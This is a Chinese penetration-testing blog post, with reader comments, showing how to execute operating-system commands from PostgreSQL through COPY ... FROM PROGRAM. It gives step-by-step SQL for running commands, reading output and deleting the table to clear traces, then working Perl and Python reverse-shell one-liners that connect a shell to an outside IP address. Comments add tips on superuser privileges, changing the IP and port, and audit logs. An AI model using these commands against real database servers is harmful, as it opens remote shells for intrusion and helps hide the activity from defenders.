Postgresql 代码执行

OnionT@KillBoy
OnionT@KillBoy
作者
47
文章
0
粉丝
渗透测试478,071字数 0阅读0分0秒阅读模式
AI智能摘要
你知道 PostgreSQL 也能直接执行系统命令吗?本文揭秘如何用 COPY ... FROM PROGRAM 在数据库内部运行 shell 命令并抓取输出(包括将结果写入表、查看与清理痕迹的完整流程),还演示了基于 Perl 与 Python 的反弹 shell 示例与字符串转义要点。阅读后你将掌握操作步骤、常见陷阱与安全风险评估,适合DBA、安全研究员或需要理解该功能潜在危害的开发者。
— AI 生成的文章内容摘要

DROP TABLE IF EXISTS cmd_exec

创建你用来保存命令输出的表

CREATE TABLE cmd_exec(cmd_output text);

通过 “COPY FROM PROGRAM”执行系统命令

COPY cmd_exec FROM PROGRAM 'id'

[可选]查看执行结果

SELECT * FROM cmd_exec

[可选]清除痕迹

DROP TABLE IF EXISTS cmd_exec;

需要说明的是,命令中的任何单引号都必须通过双引号来转义它们,比如你想执行下面命令:

<code>echo 'hello';</code>

你需要把上述命令用单引号包围并将命令中包含的单引号用双引号替换:

'echo "hello";'

linux及Mac OSX操作系统中通常可以通过一行简单的perl命令来反弹shell,比如:

COPY files FROM PROGRAM 'perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,/"192.168.0.104:80/");STDIN->fdopen($c,r);$~->fdopen($c,w);system $_ while <>;"';

Python版本

COPY files FROM PROGRAM 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((/"192.168.31.41/",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([/"/bin/sh/",/"-i/"]);"'

本文来自OnionT@killboy 原文链接http://www.oniont.cn/index.php/archives/223.html

 
OnionT@KillBoy
评论  47  访客  47
    • 织女传人
      织女传人 0

      这操作太危险了吧,随便执行系统命令?

      • 复古单车
        复古单车 0

        之前搞过postgresql,没想到还能这么玩😳

          • 风吟灵
            风吟灵 0

            @ 复古单车 这个玩法有点意思,收藏了

          • 漂泊之歌
            漂泊之歌 0

            COPY FROM PROGRAM 这功能也太狠了,权限得卡死

            • 磨刀胡
              磨刀胡 0

              我们公司直接禁了这个语法,怕出事

              • 长亭外古道边
                长亭外古道边 0

                那个反弹shell的perl命令能解释下吗?看不懂

                • 影烬之梦
                  影烬之梦 1

                  单引号转义用双引号,实际测试容易出错,坑

                  • 影灵踪
                    影灵踪 0

                    这不就是数据库提权常用手法?老渗透了

                    • 幻觉萤火
                      幻觉萤火 0

                      postgresql还能干这事,学废了😂

                      • 幻影时空
                        幻影时空 0

                        我试了下,没有超级用户权限根本跑不了

                          • 乱跑的溜溜球
                            乱跑的溜溜球 1

                            @ 幻影时空 普通用户权限确实不行,得超级用户

                            • NoaSerene
                              NoaSerene 0

                              @ 幻影时空 没superuser权限试了也是白搭

                            • 元气少女
                              元气少女 1

                              python反弹shell那段,ip和端口要自己改吧?

                                • 梦枕星砂
                                  梦枕星砂 0

                                  @ 元气少女 对,要改成你自己的ip和端口

                                  • 企鹅雪球
                                    企鹅雪球 0

                                    @ 元气少女 ip端口当然要改啊,不然连谁去?

                                  • 鸳鸯奶茶
                                    鸳鸯奶茶 0

                                    这种操作也太危险了吧

                                    • 裁缝谢老三
                                      裁缝谢老三 0

                                      perl那段完全看不懂,太复杂了

                                      • CryptKeeper
                                        CryptKeeper 0

                                        我们公司数据库也禁用了这个功能

                                        • 小猫毛绒绒
                                          小猫毛绒绒 0

                                          单引号转义那里确实容易写错

                                            • 倔巴头
                                              倔巴头 1

                                              @ 小猫毛绒绒 单引号转义搞错一次就崩,烦死了

                                            • 铃兰轻语
                                              铃兰轻语 0

                                              这方法实战用过,确实能提权

                                              • 暗影占卜师
                                                暗影占卜师 0

                                                反弹shell那段能再详细说说吗

                                                • Velvet Horizon
                                                  Velvet Horizon 0

                                                  postgresql原来还能这么玩,长见识了

                                                  • 沉默小行星
                                                    沉默小行星 1

                                                    这操作太危险了,数据库直接变后门?

                                                    • SerpentOfDoom
                                                      SerpentOfDoom 1

                                                      COPY FROM PROGRAM 这功能默认该关掉

                                                        • 辐射幽灵
                                                          辐射幽灵 0

                                                          @ SerpentOfDoom 这功能不关真是定时炸弹💣

                                                        • 夜语梦回
                                                          夜语梦回 0

                                                          之前测试时卡在转义上,折腾半小时😭

                                                          • 秘法吟者
                                                            秘法吟者 1

                                                            perl那段能不能拆开讲?一脸懵

                                                              • Eagle雄鹰
                                                                Eagle雄鹰 0

                                                                @ 秘法吟者 perl那堆参数看得我头大,有简化版吗?

                                                              • 呆头鹅
                                                                呆头鹅 0

                                                                公司早把PROGRAM禁了,根本跑不起来

                                                                • Rabbit兔
                                                                  Rabbit兔 1

                                                                  反弹shell成功过一次,但日志全被审计了

                                                                  • WanderingNight
                                                                    WanderingNight 1

                                                                    @豆包 这个转义规则搞晕了

                                                                      • doubao
                                                                        doubao 5

                                                                        @ WanderingNight 这个转义规则确实有点绕。简单说就是:命令整体用单引号包着,里面的单引号要换成双引号。

                                                                      • 白虎裂地
                                                                        白虎裂地 1

                                                                        postgresql还能这么玩?细思极恐啊

                                                                        • 话多小船
                                                                          话多小船 1

                                                                          我们DBA直接删了PROGRAM权限,太吓人

                                                                          • 奶糖糖
                                                                            奶糖糖 1

                                                                            之前提权翻车,就是忘了转义单引号

                                                                            • 狐仙大人
                                                                              狐仙大人 0

                                                                              这不比SQL注入爽?直接system了属于是

                                                                              • 老爷车
                                                                                老爷车 1

                                                                                python那个shell命令得改IP吧,直接抄会连错

                                                                                • 千变万化
                                                                                  千变万化 0

                                                                                  搞渗透的应该都玩过这招,老活了

                                                                                  • 鬼哭狼
                                                                                    鬼哭狼 1

                                                                                    我们测试环境试了一下,权限不够跑不动

                                                                                    • 兔子侠
                                                                                      兔子侠 0

                                                                                      COPY命令还能这么用?我一直当导入工具

                                                                                      • 旧梦回
                                                                                        旧梦回 0

                                                                                        那个fork和exit是干啥的,求解释下

                                                                                        • 书生风
                                                                                          书生风 0

                                                                                          数据库变肉机,日志都来不及删

                                                                                          • 银河舞者
                                                                                            银河舞者 0

                                                                                            反弹shell成功了,但防火墙立马告警了

                                                                                            • 穷奇噬魂
                                                                                              穷奇噬魂 1

                                                                                              Perl那个反弹shell代码挺巧妙

                                                                                            匿名

                                                                                            发表评论

                                                                                            匿名网友

                                                                                            拖动滑块以完成验证